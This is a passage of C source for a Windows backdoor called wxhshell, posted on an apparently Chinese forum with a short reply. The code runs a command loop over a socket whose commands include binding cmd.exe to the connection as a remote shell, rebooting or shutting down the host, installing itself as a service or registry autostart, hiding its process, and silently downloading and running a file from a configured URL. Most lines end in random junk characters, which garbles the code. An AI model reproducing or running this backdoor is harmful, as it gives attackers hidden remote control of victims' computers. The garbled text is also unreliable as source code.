  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oe (})M  
  } tW^oa  
  else { RSv?imi=  
u92);1R  
    switch(cmd[0]) { IKz3IR eu  
  : Xe,=M(l~  
  // 帮助 \,n|V3#G  
  case '?': { T[?wbYfW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Uz4!O  
    break; ;`")3~M3*  
  } u& 4i=K'x8  
  // 安装 vJ +sdG  
  case 'i': { c+BD37S  
    if(Install()) L3N ?^^]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g?7I7W~?`  
    else 7LFJi@*8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F.rNh`44  
    break; OM>,1;UH]  
    } YLX LaC[  
  // 卸载 Gt4/ax:A@  
  case 'r': { |_6V+/?"?`  
    if(Uninstall()) VtTTvP3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ym% $!#  
    else 9#;GG3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `7D]J*?`  
    break; Jn |sS(Q}  
    } l+ ,p=  
  // 显示 wxhshell 所在路径 Ux/|D_rlf  
  case 'p': { l1M %   
    char svExeFile[MAX_PATH]; AfAlDM'  
    strcpy(svExeFile,"\n\r"); h0cdRi  
      strcat(svExeFile,ExeFile); LL0Y$pHV  
        send(wsh,svExeFile,strlen(svExeFile),0); '3i,^g0?t0  
    break; =00c1v  
    } c 5%uiv]  
  // 重启 f]_{4Olk  
  case 'b': { =%)Y, )"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7:M`k#oDP  
    if(Boot(REBOOT)) x>]14 bLz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +UM%6Z=+  
    else { $q|-9B  
    closesocket(wsh); cko^_V&x  
    ExitThread(0); wB(X(nr  
    } !&eKq?P{j  
    break; 7Mj:bm&9  
    } M1mx{<]A  
  // 关机 {py"Ob_  
  case 'd': { {`ghX%M(l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YAdk3y~pL  
    if(Boot(SHUTDOWN)) /g`!Zn8a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &FpoMW  
    else { /Kd9UQU  
    closesocket(wsh); i8h^~d2"  
    ExitThread(0); uGc0Lv4i/  
    } 1PN!1=F}  
    break; 3|0wD:Dy  
    } @zC p/fo3  
  // 获取shell d:vuRK4+  
  case 's': { 3a\De(;  
    CmdShell(wsh); nb~592u  
    closesocket(wsh); U[R[VY7  
    ExitThread(0); f=EWr8mno  
    break; +^cjdH*  
  } j[RY  
  // 退出 z 0}JiWR  
  case 'x': { ^$AJV%3wI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %TeH#%[g>\  
    CloseIt(wsh); %MM)5MsB  
    break; KU=+ 1,Jf  
    } 9 _b_O T  
  // 离开 BO,xA-+  
  case 'q': { yno X=#`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5-RA<d#  
    closesocket(wsh); %HD0N&  
    WSACleanup(); W]oILL"d  
    exit(1); AX]cM)w  
    break; OQJ#>*?  
        } 6QYHPz  
  } ujf]@L?  
  } #z5$_z?_  
so>jz@!EE  
  // 提示信息 Pr_DMu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RI3GAd  
} Gspb\HJ^  
  } pt%*Y.)az  
j0~ dJ#  
  return; )tv~N7  
} =.]{OT  
IcA]B?+  
// shell模块句柄 ]Om;bmwt  
int CmdShell(SOCKET sock) DP.Y <V)B  
{ ^ AJ_  
STARTUPINFO si; +7 mUX  
ZeroMemory(&si,sizeof(si)); ELZ@0,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @x@wo9<Fc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y M,UM>  
PROCESS_INFORMATION ProcessInfo; %%T?LRv  
char cmdline[]="cmd"; C*stj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M%#F"^8v  
  return 0; +[` )t/   
} m^o?{ (K  
9yK\<6}}QH  
// 自身启动模式 7P:/ (P  
int StartFromService(void) NpH:5hi  
{ Se.qft?D%(  
typedef struct r@c!M|m@  
{ +TC##}Zmb  
  DWORD ExitStatus; Hbl&)!I  
  DWORD PebBaseAddress; .1f!w!ltVR  
  DWORD AffinityMask; 7po;*?Ox  
  DWORD BasePriority; \HL66%b[  
  ULONG UniqueProcessId; RN2z/F Uf  
  ULONG InheritedFromUniqueProcessId; "9IR|  
}   PROCESS_BASIC_INFORMATION; X2mZ~RB(p  
q\/xx`L  
PROCNTQSIP NtQueryInformationProcess; AHzm9U @  
mYFc53B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?!u9=??  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G6bvV*TRi  
.\+c{  
  HANDLE             hProcess; |*g\-2j{  
  PROCESS_BASIC_INFORMATION pbi; tN;^{O-(V  
`0`#Uf_/$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iSNbbu#  
  if(NULL == hInst ) return 0; 0E7h+]bh|  
t9r R>Y9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r2\ }_pIj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z~K} @  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EY@KWs3"H  
2S//5@~_m  
  if (!NtQueryInformationProcess) return 0; sWKv> bx  
kbSl.V%)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n] 8*yoge  
  if(!hProcess) return 0; I9h{fB  
qOAhBZ~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #V.u[:mO  
,U~in)\ U  
  CloseHandle(hProcess); %ed TW[C`  
L>pSE'}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DAy|'%rF1-  
if(hProcess==NULL) return 0; Y=@iD\u  
gZ us}U  
HMODULE hMod; ir5eR}H  
char procName[255]; l-2lb&n  
unsigned long cbNeeded; #!>`$  
0x # V   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {KSy I#  
1ZXRH;J40  
  CloseHandle(hProcess); PHMp, z8  
!1mAq+q!  
if(strstr(procName,"services")) return 1; // 以服务启动 iV:\,<8d  
AD >/#Ul  
  return 0; // 注册表启动 9hgIQl  
} s>=$E~qq  
f[q_eY  
// 主模块 gX(8V*os^  
int StartWxhshell(LPSTR lpCmdLine) nv3TxG  
{ ?4t~z 1.f  
  SOCKET wsl; MfraTUxIo/  
BOOL val=TRUE; 212 =+k  
  int port=0; ]UrlFiR  
  struct sockaddr_in door; GS*_m4.Ry6  
b/4gs62{k  
  if(wscfg.ws_autoins) Install(); /U>8vV+C  
Ls*Vz,3!5  
port=atoi(lpCmdLine); m/WDJ$d  
z=4E#y `?U  
if(port<=0) port=wscfg.ws_port; \}Kad\)  
W$` WkR  
  WSADATA data; +!t *LSF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F#o{/u?T  
5a/3nsup5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \5b<!Nl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =nCV. Wf  
  door.sin_family = AF_INET; &<) _7?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wKJK!P  
  door.sin_port = htons(port); fN 1:'d  
PAiVUGp5[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  LNvkC4  
closesocket(wsl); hysxHOL  
return 1; \\/ !I   
} =|d5V%mK  
3]>YBbXvE  
  if(listen(wsl,2) == INVALID_SOCKET) { }'\M}YM  
closesocket(wsl); E8o9ufj3  
return 1; Y3xEFqMU  
} 4-\4G"4  
  Wxhshell(wsl); /sVmQqVY  
  WSACleanup(); K,*IfHi6[  
QzYaxNGv  
return 0; JV! }"[  
U}{\qs-zt  
} UHDcheeRD  
+PO& z!F  
// 以NT服务方式启动 tOPk x(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d%Ku 'Jy  
{ obw:@i#  
DWORD   status = 0; U27ja|W^  
  DWORD   specificError = 0xfffffff; wDs#1`uTq  
~'):1}KN]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'v@1_HHW\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !Tu.A@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; / `w'X/'VJ  
  serviceStatus.dwWin32ExitCode     = 0; -Q!?=JNtQ  
  serviceStatus.dwServiceSpecificExitCode = 0; }Z`@Z'  
  serviceStatus.dwCheckPoint       = 0; 4;w# mzd  
  serviceStatus.dwWaitHint       = 0; OmP(&t7  
B^hK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7p18;Z+6>X  
  if (hServiceStatusHandle==0) return; dRTpGz  
<pUc( tPoz  
status = GetLastError(); j MA%`*r  
  if (status!=NO_ERROR) _[ `"E'  
{ 98WJ"f_ #  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <zu)=W'R]  
    serviceStatus.dwCheckPoint       = 0; ,-BZsZ0~  
    serviceStatus.dwWaitHint       = 0; yAc}4*;T/  
    serviceStatus.dwWin32ExitCode     = status; A3zNUad;  
    serviceStatus.dwServiceSpecificExitCode = specificError; <7X+-%yb;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rh7=,=u  
    return; t aOsC! Bp  
  } ,I[A~  
xX])IZ D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i4 tW8 Il  
  serviceStatus.dwCheckPoint       = 0; {XYf"ONi  
  serviceStatus.dwWaitHint       = 0; zdDJcdbGd1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3K_!:[  
} J~G"D-l<9/  
+z\O"zlj  
// 处理NT服务事件,比如:启动、停止 .]Z,O>N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $E@ke:  
{ B Zw#ACU  
switch(fdwControl) _d<\@Tkw  
{ #60<$HO:Z  
case SERVICE_CONTROL_STOP: 4>@-1nt}  
  serviceStatus.dwWin32ExitCode = 0; ;D<rGkry  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,<-a 6  
  serviceStatus.dwCheckPoint   = 0; &nZ.$UK<  
  serviceStatus.dwWaitHint     = 0; j8p'B-yS  
  { ?r~](l   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k<S!|  
  } 0 .p $q  
  return; ;d  >  
case SERVICE_CONTROL_PAUSE: kC[nY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |zL.PS  
  break; 6_a.`ehtj<  
case SERVICE_CONTROL_CONTINUE: 5(OF~mX#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~ .Eln+N  
  break; ~9ILN~91  
case SERVICE_CONTROL_INTERROGATE: v6?<)M%  
  break; ,K[B/tD{j  
}; }~5xlg$B<<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K#{E87G(  
} %x7l`.) N  
8JAT2a61ur  
// 标准应用程序主函数 Yui:=GgUrr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _'oy C(:}  
{ yc5n   
-.WVuc`  
// 获取操作系统版本 `+/[0B=.  
OsIsNt=GetOsVer(); X]*W +  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B[MZ Pv)  
Bj7\{x,?  
  // 从命令行安装 -nT+!3A8  
  if(strpbrk(lpCmdLine,"iI")) Install(); JGD{cr[S  
!ZV#~t:)  
  // 下载执行文件 O"9f^y*  
if(wscfg.ws_downexe) { }Mo9r4}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %jM|*^\%  
  WinExec(wscfg.ws_filenam,SW_HIDE); c#;LH5KI  
} BmUzsfD  
Xc5[d`]  
if(!OsIsNt) { ig/716r|  
// 如果时win9x,隐藏进程并且设置为注册表启动 U^0vLyqW^5  
HideProc(); M+^K,  
StartWxhshell(lpCmdLine); 7\U1K^q  
} /ADxHw`k  
else IJXH_H_%*  
  if(StartFromService()) LDvF)Eg  
  // 以服务方式启动 TJ5{Ee GV  
  StartServiceCtrlDispatcher(DispatchTable); A?|cJ"N  
else :7>Si%  
  // 普通方式启动 1y"37;x  
  StartWxhshell(lpCmdLine); MgMLfgt"V  
7<^D7  
return 0; KwQO,($,]  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五